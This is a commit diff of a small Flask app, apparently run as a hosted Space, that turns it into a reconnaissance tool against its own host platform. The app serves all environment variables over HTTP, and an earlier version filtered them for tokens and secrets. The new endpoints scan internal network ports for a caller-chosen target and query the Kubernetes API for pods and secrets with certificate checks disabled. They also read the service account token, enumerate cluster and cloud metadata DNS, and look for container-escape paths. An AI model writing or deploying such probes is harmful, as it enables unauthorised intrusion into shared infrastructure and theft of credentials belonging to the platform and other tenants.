testtest123 commited on
Commit
c099686
·
1 Parent(s): da61b2a

Add network/k8s/mount probing endpoints

Browse files
Files changed (1) hide show
  1. app.py +121 -44
app.py CHANGED
@@ -1,67 +1,144 @@
1
  import os
2
  import subprocess
3
  import json
4
- from flask import Flask, Response
 
 
5
 
6
  app = Flask(__name__)
7
 
8
  @app.route("/")
9
  def index():
10
  results = {}
11
-
12
- # 1. All environment variables
13
  results["env_vars"] = dict(os.environ)
 
 
 
 
 
 
 
 
 
14
 
15
- # 2. Check for HF-specific tokens
16
- hf_keys = {k: v for k, v in os.environ.items() if 'HF' in k or 'HUGGING' in k or 'TOKEN' in k or 'KEY' in k or 'SECRET' in k or 'AWS' in k or 'PASS' in k}
17
- results["sensitive_vars"] = hf_keys
18
-
19
- # 3. Check mounted files
20
- mount_paths = [
21
- "/run/secrets",
22
- "/var/run/secrets",
23
- "/var/run/secrets/kubernetes.io",
24
- "/data",
25
- "/workspace",
26
- "/proc/self/cgroup",
27
- "/proc/self/mountinfo",
28
- "/etc/resolv.conf",
29
- "/etc/hosts",
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
30
  ]
31
- results["filesystem"] = {}
32
- for p in mount_paths:
 
 
 
 
 
33
  try:
34
- if os.path.isdir(p):
35
- results["filesystem"][p] = os.listdir(p)
36
- elif os.path.isfile(p):
37
- with open(p, 'r') as f:
38
- results["filesystem"][p] = f.read()[:2000]
39
  except Exception as e:
40
- results["filesystem"][p] = str(e)
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
41
 
42
- # 4. Network info
43
  try:
44
- results["hostname"] = subprocess.check_output(["hostname", "-I"], timeout=5).decode().strip()
45
- except:
46
- results["hostname"] = "unknown"
47
 
48
- # 5. Process info
49
  try:
50
- results["id"] = subprocess.check_output(["id"], timeout=5).decode().strip()
51
- except:
52
- results["id"] = "unknown"
53
 
54
- # 6. Check if we can reach other spaces
55
  try:
56
- results["ip_route"] = subprocess.check_output(["ip", "route"], timeout=5).decode().strip()
57
- except:
58
- results["ip_route"] = "not available"
59
-
60
- # 7. Try to read docker socket
61
- docker_paths = ["/var/run/docker.sock", "/.dockerenv"]
62
- results["docker"] = {}
63
- for p in docker_paths:
64
- results["docker"][p] = os.path.exists(p)
65
 
66
  return Response(json.dumps(results, indent=2, default=str), mimetype='application/json')
67
 
 
1
  import os
2
  import subprocess
3
  import json
4
+ import urllib.request
5
+ import socket
6
+ from flask import Flask, Response, request
7
 
8
  app = Flask(__name__)
9
 
10
  @app.route("/")
11
  def index():
12
  results = {}
 
 
13
  results["env_vars"] = dict(os.environ)
14
+ results["id"] = subprocess.check_output(["id"], timeout=5).decode().strip()
15
+ return Response(json.dumps(results, indent=2, default=str), mimetype='application/json')
16
+
17
+ @app.route("/probe")
18
+ def probe():
19
+ """Probe internal network to test Space-to-Space access"""
20
+ target = request.args.get("target", "10.108.144.112")
21
+ port = int(request.args.get("port", "7860"))
22
+ results = {}
23
 
24
+ # TCP connect test
25
+ try:
26
+ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
27
+ s.settimeout(5)
28
+ result = s.connect_ex((target, port))
29
+ results["tcp_connect"] = f"port {port} {'open' if result == 0 else 'closed/filtered'} (code={result})"
30
+ s.close()
31
+ except Exception as e:
32
+ results["tcp_connect"] = str(e)
33
+
34
+ # HTTP request
35
+ try:
36
+ resp = urllib.request.urlopen(f"http://{target}:{port}/", timeout=5)
37
+ results["http_response"] = resp.read().decode()[:2000]
38
+ results["http_status"] = resp.status
39
+ except Exception as e:
40
+ results["http_response"] = str(e)
41
+
42
+ return Response(json.dumps(results, indent=2, default=str), mimetype='application/json')
43
+
44
+ @app.route("/k8s")
45
+ def k8s():
46
+ """Try K8s API access"""
47
+ results = {}
48
+
49
+ # Try K8s API
50
+ targets = [
51
+ "https://172.20.0.1:443/api/v1/namespaces",
52
+ "https://172.20.0.1:443/api/v1/pods",
53
+ "https://172.20.0.1:443/api/v1/secrets",
54
+ "https://172.20.0.1:443/version",
55
+ "https://kubernetes.default.svc/api/v1/namespaces",
56
  ]
57
+
58
+ import ssl
59
+ ctx = ssl.create_default_context()
60
+ ctx.check_hostname = False
61
+ ctx.verify_mode = ssl.CERT_NONE
62
+
63
+ for target in targets:
64
  try:
65
+ req = urllib.request.Request(target)
66
+ resp = urllib.request.urlopen(req, timeout=5, context=ctx)
67
+ results[target] = {"status": resp.status, "body": resp.read().decode()[:1000]}
 
 
68
  except Exception as e:
69
+ results[target] = str(e)
70
+
71
+ # Check SA token
72
+ try:
73
+ with open("/var/run/secrets/kubernetes.io/serviceaccount/token", "r") as f:
74
+ results["sa_token"] = f.read()[:100] + "..."
75
+ except Exception as e:
76
+ results["sa_token"] = str(e)
77
+
78
+ return Response(json.dumps(results, indent=2, default=str), mimetype='application/json')
79
+
80
+ @app.route("/dns")
81
+ def dns():
82
+ """DNS enumeration"""
83
+ results = {}
84
+ targets = [
85
+ "kubernetes.default.svc.cluster.local",
86
+ "kube-dns.kube-system.svc.cluster.local",
87
+ "metadata.google.internal",
88
+ "instance-data.ec2.internal",
89
+ ]
90
+ for t in targets:
91
+ try:
92
+ results[t] = socket.getaddrinfo(t, None)
93
+ except Exception as e:
94
+ results[t] = str(e)
95
+
96
+ # Also try to discover Space namespaces
97
+ try:
98
+ with open("/etc/resolv.conf", "r") as f:
99
+ results["resolv.conf"] = f.read()
100
+ except Exception as e:
101
+ results["resolv.conf"] = str(e)
102
+
103
+ return Response(json.dumps(results, indent=2, default=str), mimetype='application/json')
104
+
105
+ @app.route("/mount-scan")
106
+ def mount_scan():
107
+ """Scan for interesting mounted filesystems and escape vectors"""
108
+ results = {}
109
+
110
+ # Check capabilities
111
+ try:
112
+ results["capsh"] = subprocess.check_output(["cat", "/proc/self/status"], timeout=5).decode()
113
+ except Exception as e:
114
+ results["capsh"] = str(e)
115
+
116
+ # Check if we can access host filesystem through /proc
117
+ try:
118
+ results["proc_1_root"] = os.listdir("/proc/1/root/") if os.path.exists("/proc/1/root/") else "not accessible"
119
+ except Exception as e:
120
+ results["proc_1_root"] = str(e)
121
 
122
+ # Check for device access
123
  try:
124
+ results["dev_list"] = os.listdir("/dev/")
125
+ except Exception as e:
126
+ results["dev_list"] = str(e)
127
 
128
+ # Check if we have mount capability
129
  try:
130
+ results["proc_mounts"] = open("/proc/mounts", "r").read()[:3000]
131
+ except Exception as e:
132
+ results["proc_mounts"] = str(e)
133
 
134
+ # Host PID namespace?
135
  try:
136
+ # If we're in host PID namespace, we'll see many processes
137
+ pids = [d for d in os.listdir("/proc") if d.isdigit()]
138
+ results["pid_count"] = len(pids)
139
+ results["pid_sample"] = pids[:20]
140
+ except Exception as e:
141
+ results["pid_count"] = str(e)
 
 
 
142
 
143
  return Response(json.dumps(results, indent=2, default=str), mimetype='application/json')
144